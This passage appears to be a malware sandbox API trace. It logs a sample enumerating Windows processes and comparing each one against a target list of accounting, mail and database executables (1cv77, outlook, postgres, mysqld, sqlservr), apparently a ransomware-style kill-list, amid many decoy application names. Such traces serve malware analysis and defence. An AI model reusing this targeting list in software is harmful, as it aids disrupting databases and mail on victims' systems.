lpString2="smss.exe") returned -1 [0062.747] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0062.747] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0062.747] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0062.747] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0062.747] lstrlenW (lpString="csrss.exe") returned 9 [0062.747] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0062.747] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0062.747] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0062.748] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0062.748] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0062.748] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0062.748] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0062.748] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0062.748] lstrlenW (lpString="wininit.exe") returned 11 [0062.748] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0062.748] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0062.748] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0062.748] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0062.748] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0062.748] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0062.748] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0062.748] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0062.749] lstrlenW (lpString="csrss.exe") returned 9 [0062.749] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0062.749] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0062.749] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0062.749] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0062.749] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0062.749] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0062.749] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0062.750] lstrlenW (lpString="winlogon.exe") returned 12 [0062.750] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0062.750] lstrlenW (lpString="services.exe") returned 12 [0062.750] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0062.750] lstrlenW (lpString="lsass.exe") returned 9 [0062.750] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0062.751] lstrlenW (lpString="lsm.exe") returned 7 [0062.751] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.751] lstrlenW (lpString="svchost.exe") returned 11 [0062.751] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.752] lstrlenW (lpString="svchost.exe") returned 11 [0062.752] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.752] lstrlenW (lpString="svchost.exe") returned 11 [0062.752] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.752] lstrlenW (lpString="svchost.exe") returned 11 [0062.752] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.753] lstrlenW (lpString="svchost.exe") returned 11 [0062.753] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0062.753] lstrlenW (lpString="audiodg.exe") returned 11 [0062.753] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.753] lstrlenW (lpString="svchost.exe") returned 11 [0062.753] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.754] lstrlenW (lpString="svchost.exe") returned 11 [0062.754] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0062.754] lstrlenW (lpString="dwm.exe") returned 7 [0062.754] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0062.754] lstrlenW (lpString="explorer.exe") returned 12 [0062.755] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0062.755] lstrlenW (lpString="spoolsv.exe") returned 11 [0062.755] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.755] lstrlenW (lpString="svchost.exe") returned 11 [0062.755] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0062.756] lstrlenW (lpString="taskhost.exe") returned 12 [0062.756] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0062.756] lstrlenW (lpString="taskeng.exe") returned 11 [0062.756] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="communist_nick.exe")) returned 1 [0062.756] lstrlenW (lpString="communist_nick.exe") returned 18 [0062.757] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion_earned_tagged.exe")) returned 1 [0062.757] lstrlenW (lpString="promotion_earned_tagged.exe") returned 27 [0062.757] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prize.exe")) returned 1 [0062.757] lstrlenW (lpString="prize.exe") returned 9 [0062.757] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controversial_facilitate_struct.exe")) returned 1 [0062.758] lstrlenW (lpString="controversial_facilitate_struct.exe") returned 35 [0062.758] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="tee kansas ww.exe")) returned 1 [0062.758] lstrlenW (lpString="tee kansas ww.exe") returned 17 [0062.758] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="red-generated-percent.exe")) returned 1 [0062.758] lstrlenW (lpString="red-generated-percent.exe") returned 25 [0062.758] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospects.exe")) returned 1 [0062.759] lstrlenW (lpString="prospects.exe") returned 13 [0062.759] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="signalpackard.exe")) returned 1 [0062.759] lstrlenW (lpString="signalpackard.exe") returned 17 [0062.759] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="assistjacksonville.exe")) returned 1 [0062.759] lstrlenW (lpString="assistjacksonville.exe") returned 22 [0062.760] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="release.exe")) returned 1 [0062.760] lstrlenW (lpString="release.exe") returned 11 [0062.760] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="billethicalpresent.exe")) returned 1 [0062.760] lstrlenW (lpString="billethicalpresent.exe") returned 22 [0062.760] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="introduce_passport_wiley.exe")) returned 1 [0062.761] lstrlenW (lpString="introduce_passport_wiley.exe") returned 28 [0062.761] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="insiderviewersflorist.exe")) returned 1 [0062.761] lstrlenW (lpString="insiderviewersflorist.exe") returned 25 [0062.761] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aids oasis luxembourg.exe")) returned 1 [0062.761] lstrlenW (lpString="aids oasis luxembourg.exe") returned 25 [0062.761] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="stickers_nations.exe")) returned 1 [0062.762] lstrlenW (lpString="stickers_nations.exe") returned 20 [0062.762] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x414, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="initiated-scary.exe")) returned 1 [0062.762] lstrlenW (lpString="initiated-scary.exe") returned 19 [0062.762] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0062.762] lstrlenW (lpString="3dftp.exe") returned 9 [0062.763] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0062.763] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0062.763] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0062.763] lstrlenW (lpString="alftp.exe") returned 9 [0062.763] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0062.764] lstrlenW (lpString="barca.exe") returned 9 [0062.764] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0062.764] lstrlenW (lpString="bitkinex.exe") returned 12 [0062.764] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x730, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0062.764] lstrlenW (lpString="coreftp.exe") returned 11 [0062.764] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0062.765] lstrlenW (lpString="far.exe") returned 7 [0062.765] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0062.765] lstrlenW (lpString="filezilla.exe") returned 13 [0062.765] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0062.765] lstrlenW (lpString="flashfxp.exe") returned 12 [0062.765] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0062.766] lstrlenW (lpString="fling.exe") returned 9 [0062.766] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x734, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0062.766] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0062.766] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0062.767] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0062.767] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x31c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0062.767] lstrlenW (lpString="icq.exe") returned 7 [0062.767] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0062.767] lstrlenW (lpString="leechftp.exe") returned 12 [0062.767] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0062.768] lstrlenW (lpString="ncftp.exe") returned 9 [0062.768] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0062.768] lstrlenW (lpString="notepad.exe") returned 11 [0062.768] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0062.768] lstrlenW (lpString="operamail.exe") returned 13 [0062.768] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0062.769] lstrlenW (lpString="pidgin.exe") returned 10 [0062.769] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0062.769] lstrlenW (lpString="scriptftp.exe") returned 13 [0062.769] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0062.770] lstrlenW (lpString="skype.exe") returned 9 [0062.770] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0062.770] lstrlenW (lpString="smartftp.exe") returned 12 [0062.770] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0063.025] lstrlenW (lpString="thunderbird.exe") returned 15 [0063.025] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0063.026] lstrlenW (lpString="totalcmd.exe") returned 12 [0063.026] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0063.026] lstrlenW (lpString="trillian.exe") returned 12 [0063.026] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0063.027] lstrlenW (lpString="webdrive.exe") returned 12 [0063.027] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0063.027] lstrlenW (lpString="whatsapp.exe") returned 12 [0063.027] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0063.028] lstrlenW (lpString="winscp.exe") returned 10 [0063.028] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0063.028] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0063.028] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0063.029] lstrlenW (lpString="active-charge.exe") returned 17 [0063.029] Process32NextW (in: hSnapshot=0x188, lppe=0x22afd34 | out: lppe=0x22afd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0063.029] lstrlenW (lpString="accupos.exe") returned 11 [0063.029] Process32NextW 